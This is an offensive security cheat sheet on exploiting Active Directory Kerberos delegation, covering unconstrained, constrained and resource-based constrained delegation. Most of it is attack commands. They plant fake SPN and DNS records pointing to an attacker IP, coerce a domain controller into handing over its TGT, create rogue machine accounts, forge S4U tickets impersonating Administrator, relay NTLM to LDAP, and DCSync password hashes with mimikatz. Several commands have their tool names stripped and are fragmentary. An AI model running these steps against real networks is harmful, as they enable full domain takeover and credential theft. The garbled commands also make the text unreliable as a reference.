Active Directory Delegations

Unconstrained Delegation

# Nice resource for user account =/= machine account in UC

# AD Objects having Unconstrained Delegation issues have the TRUSTED_FOR_DELEGATION flag set

# You can search for users using Pywerview
$ python get-netuser -u ownedUser -p userPassword -d foo.lan -t --unconstrained

# You can also request through ldapdomain dump and then grep for interesting
$ ldapdomaindump -u "foo.lan\\ownedUser" -p "userPassword"

# Using Powershell and the ADModule (
Get-ADComputer -Filter {TrustedForDelegation -eq $True}
# Compromised User having Unconstrained Delegation

# 1/ Add a fake SPN using the pwnedUser
$ python -u foo.lan\\ownedUser -p userPassword -s host/ ldap://

# 2/ Create a new DNS record pointing the fake SPN to our attacking IP
$ python -u foo.lan\\ownedUser -p userPassword -r -a add -d <attacker-IP>

# 3/ In one shell, start krbrelayx (salt is case sensitive!)
$ sudo python --krbsalt foo.lanownedUser --krbpass userPassword

# 4/ In another shell
$ python foo.lan/

# It will force the target DC to connect to our fake new "computer" configured through
# Unconstrained Delegation. It will then embed a copy of the DC$ TGT, being saved by krbrelayx.

# Then...
export KRB5CCNAME=/path/to/ticket.ccache
$ python -k -just-dc     
# Compromised Machine/Server having Unconstrained Delegation

# If you compromised a machine having UC you can use it to get a copy of the DC's TGT
# In Powershell you can check for the spoolss presence
PS> ls \\<dc-ip>\pipe\spoolss

# On the compromised machine, start monitoring with Rubeus
Rubeus.exe monitor /interval:1 

# Then using the SpoolSample PoC (
# You can force the DC to connect to the owned machine
# Delegation being set, you will get a copy of the DC$ TGT in Rubeus

Constrained Delegation

# AD Objects having Unconstrained Delegation issues have the TRUSTED_TO_AUTH_FOR_DELEGATION flag set
# The msDS-AllowedToDelegateTo indicates objects involded in the delegation rights

# The goal is to get a ticket for an impseronated user on a service we have delegation rights to -spn SERVICE/HOSTNAME_YOU_HAVE_DELEGATION_RIGHTS_TO.FQDN -impersonate TARGET_USER DOMAIN/USERNAME:PASSWORD

# It is then possible to modify the service name portion of the ticket (not encrypted)
# Impackets auto update the sname in backend
# The following posts describes this behavior

# Once the ticket have been generated, we can then use it
export KRB5CCNAME=/path/to/ticket.ccache
$ python -k -just-dc  

RBCD Exploitation

# Microsoft is releasing an update in March 2020 that will enable LDAP channel binding & LDAP 
# signing by default on Windows systems, remediating this potential attack vector on fully patched systems.

# When to use : 
# Basically, when you’re on a network and want to get a shell on a different system on that same network segment.
# This attack can be ran without needing any prior credentials.
# However, the method described does require that a domain controller in the environment is configured with LDAPS.
# From Windows Hosts

# Importing Powerview and Powermad
Import-Module .\Powerview.ps1
Import-Module .\Powermad.ps1

# Authentication
$TargetComputer = "DC01.domain.lan"
$SecPassword = ConvertTo-SecureString 'passw0rd' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\ControlledAccount', $SecPassword)

# Get our user's SID
$AttackerSID = Get-DomainUser ControlledUser -Credential $Cred -Server -Properties objectsid | Select -Expand objectsid
$ACE = Get-DomainObjectACL $TargetComputer -Credential $Cred -Server | ?{$_.SecurityIdentifier -match $AttackerSID}

# Adding a machine and getting SID
New-MachineAccount -Credential $Cred -Domain domain.lan -DomainController -MachineAccount lleXXXXX -Password $(ConvertTo-SecureString 'passw0rd' -AsPlainText -Force)
$ComputerSID = Get-DomainComputer lleXXXXX -Credential $Cred -Server -Properties objectsid | Select -Expand objectsid

# Creating structure to store in Allowedtoact in the DC
$SD= New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSID))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)

# Rewrite Allowedtoact properties on the DC
Get-DomainComputer $TargetComputer -Credential $Cred -Server | Set-DomainObject -Credential $Cred -Server -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

# Now you can impersonate the domain admin account on the DC using the machine account
.\Rubeus.exe hash /password:passw0rd /user:lleXXXXX /domain:domain.lan
.\Rubeus.exe s4u /user:lleXXXXX$ /rc4:<hash> /impersonateuser:Administrator /msdsspn:ldap/DC01.domain.lan /ptt /dc: /domain:domain.lan
.\Rubeus.exe klist

# Then, you can get the NTLM hash of domain admin using DCSync and Mimikatz
mimikatz> lsadump::dcsync /user:domain\Adminisrator /domain:domain.lan /dc:DC01.domain.lan
# From Linux Hosts

# First step is creating a computer account in order to have control on a computer account with SPNs -method SAMR -computer-pass MADE_UP_PASSWORD -computer-name MADE_UP_NAME DOMAIN/USER:PASSWORD

# Then you want to intercept NTLM hashes and forward them to LDAP on a DC
# It allows you to impersonate the relayed account and set msDS-AllowedToActOnBehalfOfOtherIdentity -wh WPAD_Host --delegate-access --escalate-user YOUR_COMPUTER_ACCOUNT\$ -t ldap://DC.DOMAIN.LOCAL -wh COMPUTER.DOMAIN.LOCAL --delegate-access --escalate-user YOUR_COMPUTER_ACCOUNT\$ -t ldap://DC.DOMAIN.LOCAL

# Then, start a relay tool (mitm6, responder...)
# If another host authenticates succesfully and give impersonation rights, we can then use them

# Then you will want to get a valid TGS to connect to the server using our new delegation rights
# We can for example choose to impersonate administrators -spn cifs/Server_You_Relayed_To_Get_RBCD_Rights_On -impersonate TARGET_ACCOUNT  DOMAIN/YOUR_CREATED_COMPUTER_ACCOUNT\$:PASSWORD

export KRB5CCNAME=/path/to/ticket.ccache
$ python -k -just-dc